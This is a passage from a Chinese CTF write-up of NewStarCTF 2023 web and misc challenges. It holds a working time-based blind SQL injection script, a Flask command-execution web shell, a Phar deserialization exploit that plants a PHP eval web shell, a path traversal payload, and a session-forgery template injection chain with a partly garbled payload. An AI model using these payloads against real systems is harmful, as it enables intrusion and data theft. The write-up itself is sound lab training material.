        print(f'{i}...')
        start = -1 
        end = 255
        mid = -1
        while start < end:
            mid = (start + end) // 2
            url = "http://c968b372-387a-4e4b-b157-b99e627c3a66.node5.buuoj.cn:81/"
            params = {"id": f"1/**/and/**/if(ascii(substr(database(),{i},1))>{mid},sleep(1),1)#"}
            ret = session.get(url, params=params)
            assert ret.status_code == 200, f'code: {ret.status_code}'
            assert '429 Too Many Requests' not in ret.text
            if ret.elapsed.total_seconds() >= 1:
                start = mid + 1
            else:
                end = mid
            time.sleep(0.05)
        if mid == -1:
            break
        results.append(chr(start))
        print(''.join(results))
    return ''.join(results)

begin = time.time()
getDatabase()
print(f'time spend: {time.time() - begin}')

"""
1...
c
2...
ct
3...
ctf
4...
time spend: 16.405414819717407
"""

可以得出数据库名为 ctf

params = {"id": f"1/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'ctf'),{i},1))>{mid},sleep(1),1)#"}

可以得出表名为 items

params = {"id": f"1/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'ctf'/**/and/**/table_name/**/like'items'),{i},1))>{mid},sleep(1),1)#"}

可以得出字段名为 id,name,price

params = {"id": f"1/**/and/**/if(ascii(substr((select/**/group_concat(id,name,price)/**/from/**/ctf.items),{i},1))>{mid},sleep(1),1)#"}

可以得出值 1lolita1000,520lolita's flag is flag{647190d8-7511-4386-b513-15440eb033be}1688

[Week 4]Flask Disk

根据题目已知框架为 Flask ,通过 admin manage 已知开启了 Debug 模式,在该模式下修改 app.py 会立即加载,通过 Upload 上传新的 app.py

from flask import *
import os

app = Flask(__name__)
@app.route('/')

def index():
    try:
        cmd = request.args.get('1')
        data = os.popen(cmd).read()
        return data
    except:
        pass

    return "1"

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=5000,debug=True)

上传后通过构造 Payload 获得 flag 。

1=cat /flag

[Week 4]PharOne

查看源代码可以发现提示 class.php ,通过查看可以得到源码如下。

<?php
highlight_file(__FILE__);
class Flag{
    public $cmd;
    public function __destruct()
    {
        @exec($this->cmd);
    }
}
@unlink($_POST['file']);

结合标题可以通过 Phar 反序列化来写入 WebShell ,经过随机上传发现存在文件类型检测。

<?php
highlight_file(__FILE__);
class Flag{
    public $cmd;
}

$a=new Flag();
$a->cmd="echo \"<?=@eval(\\\$_POST[1]);\">/var/www/html/1.php";
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

通过上传发现存在过滤 !preg_match("/__HALT_COMPILER/i",FILE_CONTENTS) ,可以通过 gzip 压缩进行绕过。

$ gzip -f 1.phar
$ mv 1.phar.gz 1.jpg

修改好后进行上传得到回显如下。

Saved to: upload/f3ccdd27d2000e3f9255a7e3e2c48800.jpg

再通过构造 Payload 如下即可上传恶意 WebShell 。

// class.php
file=phar://upload/f3ccdd27d2000e3f9255a7e3e2c48800.jpg

此时通过构造 Payload 如下即可获得 flag 。

// 1.php
1=system("cat /f*");

[Week 4]InjectMe

附件:Dockerfile

FROM vulhub/flask:1.1.1
ENV FLAG=flag{not_here}
COPY src/ /app
RUN mv /app/start.sh /start.sh && chmod 777 /start.sh
CMD [ "/start.sh" ]
EXPOSE 8080

可以得出站点目录在 /app 中,通过查看图片 110.jpg 可以得到部分源码。

可以发现 ../ 被替换成了空,但是可以通过类似双写的方法进行绕过从而实现路径穿越,构造 Payload 如下。

/download?file=..././..././..././app/app.py

可以得到 app.py 的源码如下。

import os
import re

from flask import Flask, render_template, request, abort, send_file, session, render_template_string
from config import secret_key

app = Flask(__name__)
app.secret_key = secret_key


@app.route('/')
def hello_world():  # put application's code here
    return render_template('index.html')


@app.route("/cancanneed", methods=["GET"])
def cancanneed():
    all_filename = os.listdir('./static/img/')
    filename = request.args.get('file', '')
    if filename:
        return render_template('img.html', filename=filename, all_filename=all_filename)
    else:
        return f"{str(os.listdir('./static/img/'))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>"


@app.route("/download", methods=["GET"])
def download():
    filename = request.args.get('file', '')
    if filename:
        filename = filename.replace('../', '')
        filename = os.path.join('static/img/', filename)
        print(filename)
        if (os.path.exists(filename)) and ("start" not in filename):
            return send_file(filename)
        else:
            abort(500)
    else:
        abort(404)


@app.route('/backdoor', methods=["GET"])
def backdoor():
    try:
        print(session.get("user"))
        if session.get("user") is None:
            session['user'] = "guest"
        name = session.get("user")
        if re.findall(
                r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
                name):
            abort(500)
        else:
            return render_template_string(
                '竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name)
    except Exception:
        abort(500)


@app.errorhandler(404)
def page_not_find(e):
    return render_template('404.html'), 404


@app.errorhandler(500)
def internal_server_error(e):
    return render_template('500.html'), 500


if __name__ == '__main__':
    app.run('0.0.0.0', port=8080)

通过分析 backdoor 函数可知需要进行 session 伪造来修改 session['user'] ,通过源码可知 secret_key 位于 config.py 中,通过上述相同方法获取,回显如下。

secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"
$ python .\flask_session_cookie_manager3.py decode -s "y0u_n3ver_k0nw_s3cret_key_1s_newst4r" -c "eyJ1c2VyIjoiZ3Vlc3QifQ.ZgfcyA.YhCEWdSzBAAgOIUh5lmFU
AoCqDY"
{'user': 'guest'}

成功 decode 后,还需要进行绕过,编写一个 Python 脚本如下。

import subprocess
import requests

payload = '<div data-gb-custom-block data-tag="set" data-i=''></div><div data-gb-custom-block data-tag="print" data-0='24' data-1='24' data-2='24' data-3='24' data-4='24' data-5='24' data-6='24' data-7='2' data-8='2' data-9='2' data-10='g' data-11='' data-12='~i[24]*2][(' data-13='2' data-14='2' data-15='' data-16='' data-17='|select|string)[24]*2~' data-18='' data-19='' data-20='' data-21='~i[24]*2][i[24]*2~' data-22='2' data-23='2' data-24='import' data-25='~i[24]*2](' data-26='' data-27='s' data-28='p' data-29='' data-30='open' data-31='l' data-32='~' data-33='s' data-34='10' data-35='10' data-36='0' data-37='/' data-38='))[' data-39='read'></div>'

def getSession():
    command = ['python', 'flask_session_cookie_manager3.py', 'encode', '-t',
               "{{'user':'{0}'}}".format(payload), '-s',
               "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"]
    result = subprocess.run(command, capture_output=True, text=True)
    output = result.stdout.strip()
    return output


a = getSession()
print(a)

url = "http://cc52e144-c6c3-4b89-abcc-472db5bf1e69.node5.buuoj.cn:81/backdoor"
cookies = {"session": a}
res = requests.get(url=url, cookies=cookies)
print(res.text)

"""
竟然给<h1>app
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
y0U3_f14g_1s_h3re
</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁
"""

发现成功绕过并且获得 flag 文件名 y0U3_f14g_1s_h3re ,通过修改脚本如下即可得到 flag 。

payload = '<div data-gb-custom-block data-tag="set" data-i=''></div><div data-gb-custom-block data-tag="print" data-0='24' data-1='24' data-2='24' data-3='24' data-4='24' data-5='24' data-6='24' data-7='2' data-8='2' data-9='2' data-10='g' data-11='' data-12='~i[24]*2][(' data-13='2' data-14='2' data-15='' data-16='' data-17='|select|string)[24]*2~' data-18='' data-19='' data-20='' data-21='~i[24]*2][i[24]*2~' data-22='2' data-23='2' data-24='import' data-25='~i[24]*2](' data-26='' data-27='s' data-28='p' data-29='' data-30='open' data-31='c' data-32='~' data-33='at' data-34='10' data-35='10' data-36='0' data-37='/y0U3_f14g_1s_h3re' data-38='))[' data-39='read'></div>'

Misc

[Week 1]CyberChef's Secret

来签到吧!下面这个就是flag,不过它看起来好像怪怪的:-)
M5YHEUTEKFBW6YJWKZGU44CXIEYUWMLSNJLTOZCXIJTWCZD2IZRVG4TJPBSGGWBWHFMXQTDFJNXDQTA=

CyberChef 一把梭,flag 如下

flag{Base_15_S0_Easy_^_^}

[Week 1]机密图片

通过 zteg 可以得到 flag。

┌──(kali㉿kali)-[~/Desktop]
└─$ zsteg secret.png
b1,r,lsb,xy         .. text: ":=z^rzwPQb"
b1,g,lsb,xy         .. file: OpenPGP Public Key
b1,b,lsb,xy         .. file: OpenPGP Secret Key
b1,rgb,lsb,xy       .. text: "flag{W3lc0m3_t0_N3wSt4RCTF_2023_7cda3ece}"
b3,b,lsb,xy         .. file: very old 16-bit-int big-endian archive
b4,bgr,msb,xy       .. file: MPEG ADTS, layer I, v2, 112 kbps, 24 kHz, JntStereo

[Week 1]流量!鲨鱼!

用 WireShark 打开后在过滤器中输入